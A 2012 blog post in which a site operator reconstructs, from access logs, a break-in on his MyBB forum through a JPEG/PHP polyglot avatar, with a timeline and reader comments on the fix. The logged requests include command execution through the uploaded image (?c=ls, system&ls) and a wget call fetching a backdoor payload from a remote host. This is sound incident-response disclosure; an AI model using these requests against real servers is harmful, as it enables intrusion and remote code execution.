Tuesday, April 3, 2012

Anatomy of a MyBB Forum Hack

It has been an exciting 2 days.  Yesterday I discovered that over the weekend the forums at webpagetest.org had been hacked and that someone had installed a back door.  I traced the source of the entry pretty quickly and locked out the exploit he had used but I wanted to make sure he hadn't done anything more damaging while he was there so I spent the last day pouring over the access logs to trace back his activities.

The hack involved uploading a custom image file that was both a valid jpeg and had php code inside of it that the php interpreter would execute and then tricking the server into executing the image as if it were php. I have the actual image as well as the command and control php he installed if anyone is interested (and by anyone I mean anyone I know who will do good things with it).

I thought it would be valuable to share (and somewhat entertaining) what I gleaned from the logs so here is the timeline of activities that I managed to piece together (all times are GMT):

March 23, 2012 

- Registered for account in the WebPagetest forums and uploaded executable profile pic
http://www.webpagetest.org/forums/member.php?action=profile&uid=27069
- used (presumably throw-away) yahoo mail account: science_media017@yahoo.com
- from 49.248.26.133 (also logged in to the account from 178.239.51.81 but there has been no recent activity from that IP)


March 30, 2012

109.123.117.122 (probably automated bot/process)

08:48 - Back door is installed and first accessed (install method is highlighted later).  Hidden IFrame is added to the forums page.


Periodically - main page is loaded (presumably to check the status of the IFrame)


49.248.26.133 (appears to be manual activity)

08:58 - Loads the main page (presumably checking the IFrame)


April 1, 2012

109.123.117.122

08:49 - Installs adobe.jar (unfortunately I deleted it and didn't keep a copy for analysis), presumably for distribution or more access (no Java on the server though so not much point)

49.248.26.133

09:16 - Accessed the installed adobe.jar (presumably testing to make sure it installed)


April 2, 2012

me

~14:00 - Observed unexpected requests loading and found the IFrame (and quickly deleted it)
17:58 - Tracked down the location of the code that was used to install the IFrame (and unfortunately deleted it in my panic)
18:16 - Secured the hole that was used to execute php in the uploads directory


April 3, 2012

49.248.26.133

05:54 - Checked the main page for the iframe
06:02 - attempted to access gs.php (the back door php code)

69.22.185.30 (manual debugging/activity)

06:03 - Started probing to see what broke - attempted to access:

/forums/uploads/avatars/system1.php
/forums/uploads/avatars/avatar_27069.jpg/avatar_27069.php?c=ls
/forums/uploads/avatars/avatar_27069.jpg/avatar_27069.php
/forums/uploads/avatars/avatar_27069.jpg/.php
06:04 - Manually browser the forums, presumably checking to see if everything was down or just his hack and did some more probing:

/forums/images/on.gif
/forums/images/on.gif/.php to see if the php interpreter hole was still open (was at the time but he couldn't get any code placed there to execute - this has since been closed)
/forums/uploads/avatars/tileeeee.html (404 - already cleaned up)

06:05 - Tried the avatar hack again:
/forums/uploads/avatars/avatar_27069.jpg
/forums/uploads/avatars/avatar_27069.jpg/avatar_27069.php?c=ls
/forums/uploads/avatars/avatar_27069.jpg/avatar_27069.php
/forums/uploads/avatars/avatar_27069.jpg/.php
/forums/uploads/avatars/avatar_27069.jpg/
06:06 - Tries other avatar files to see if php hack is blocked on uploads
/forums/uploads/avatars/avatar_1.jpg/.php (yep - 403)
06:07 - Tries other back door commands he had installed:
/forums/uploads/avatars/sys.php
/forums/uploads/avatars/check.php
/forums/uploads/avatars/save.php
/forums/uploads/avatars/
06:10 - More frustration:
/forums/uploads/avatars/gs.php 
/forums/uploads/avatars/system1.php
/forums/uploads/avatars/avatar_27069.jpg
/forums/uploads/avatars/avatar_27069.jpg/.php??1=system&2=ls
/forums/uploads/avatars/avatar_27069.jpg/.php
06:14 - Went through the registration UI and actually registered to the forum again
f309017@rppkn.com (throw-away)
http://www.webpagetest.org/forums/member.php?action=profile&uid=27633
06:21 - Activated his registration

209.73.132.37 (switched to another IP to continue manual debugging/activity)


06:29 - Accesses forum using new registration (normal forum browsing, a couple of failed post attempts)
06:31 - Tries to access the admin control panel /forums/admincp (404)
06:35 - Logs out of the forum
06:38 - Tries manually loading various attachments with different attempts to obfuscate the path
06:42 - Tries (unsuccessfully) php execution for attachments /forums/attachment.php?aid=175/.php
06:44 - Tries the old avatar routine again /forums/uploads/avatars/avatar_9.jpg/.php
06:48 - Attempts various probings to see if any other extensions will potentially execute:
/forums/uploads/avatars/avatar_9.jpg?/.s 
/forums/uploads/avatars/avatar_9.jpg/.s 
/forums/uploads/avatars/avatar_9.jpg?/.hoohl
/forums/uploads/avatars/avatar_9.jpg?/.txt
/forums/uploads/avatars/avatar_9.jpg?/.jsp
/forums/uploads/avatars/avatar_9.jpg/.jsp
/forums/uploads/avatars/avatar_9.jpg/.pdf
/forums/uploads/avatars/avatar_9.jpg/.bin
/forums/uploads/avatars/avatar_9.jpg/.yahoo
/forums/uploads/avatars/avatar_9.jpg/.fucked
/forums/uploads/avatars/avatar_9.jpg/.:( 
/forums/uploads/avatars/avatar_9.jpg/.p%20hp
/forums/uploads/avatars/avatar_9.jpg/.avatar_9.p%20hp
06:50 - Tries some of the old files again for some reason:
/forums/uploads/avatars/sys.php 
/forums/uploads/avatars/system1.php?dir=%2Fvar%2Fwww%2Fwebpagetest.org%2Fforums%2Fuploads%2Favatars%2Fcsheck.php
06:52 - Tries to use the avatar hack to download his payload again
/forums/uploads/avatars/avatar_27069.jpg/avatar_27069.php?c=wget%20http://dl.dropbox.com/u/xxxxxxx/gs.php
06:54 - More futile attempts to probe the avatars directory and understand why things aren't working:
/forums/uploads/avatars/upper.php
/forums/uploads/avatars/php
/forums/uploads/avatars/.php (ding, if he didn't know by now, nothing with .php anywhere inside of uploads will load)
06:55 - Seriously, he is expecting different results?
/forums/uploads/avatars/system1.php?dir=%2Fvar%2Fwww%2Fwebpagetest.org%2Fforums%2F
06:56 - He does some MORE poking around to see if the trailing .php hack is universally blocked (it is now)
/forums/images/smilies/tongue.gif/.php
07:00 - Last trace of access for today




5 comments:

  1. Great job, both in your incidence response and in being transparent.

    Input validation is surprisingly hard. There is a regex to do whitelist input validation on, say, a zip code or even an email address form input. There isn't a regex to validate complex file formats.

    ReplyDelete
  2. Thanks for posting this. It's an interesting log, particularly the response after you closed off the attack vector - looks like a fairly unsophisticated user of the script.

    Is there an option for PHP to require specific file extensions or formats before execution? That would really help in this kind of situation.

    ReplyDelete
  3. @Alastair, PHP is normally just configured to execute things with a .php extension. The problem was triggered because he put a fake .php after the .jpg and the PHP interpreter, being every so helpful, tried to find the file you REALLY meant when it couldn't find the .jpg/.php file. You can change the behavior though - http://www.php.net/manual/en/ini.core.php#ini.cgi.fix-pathinfo

    More importantly, it's best to just block the php interpreter from executing ANYTHING in directory trees where the user can upload data. which is what I have in place now.

    ReplyDelete
  4. My guess would be that the jar file was for exploiting holes in the browser plugin of website visitor computers ? Not for doing nasty on the server.

    Lennie

    ReplyDelete
  5. Awesome Post. Thanks for sharing. We have some of the best moderation practices, but hack through profile picture was not in agenda. Got look out and close the exploits

    ReplyDelete

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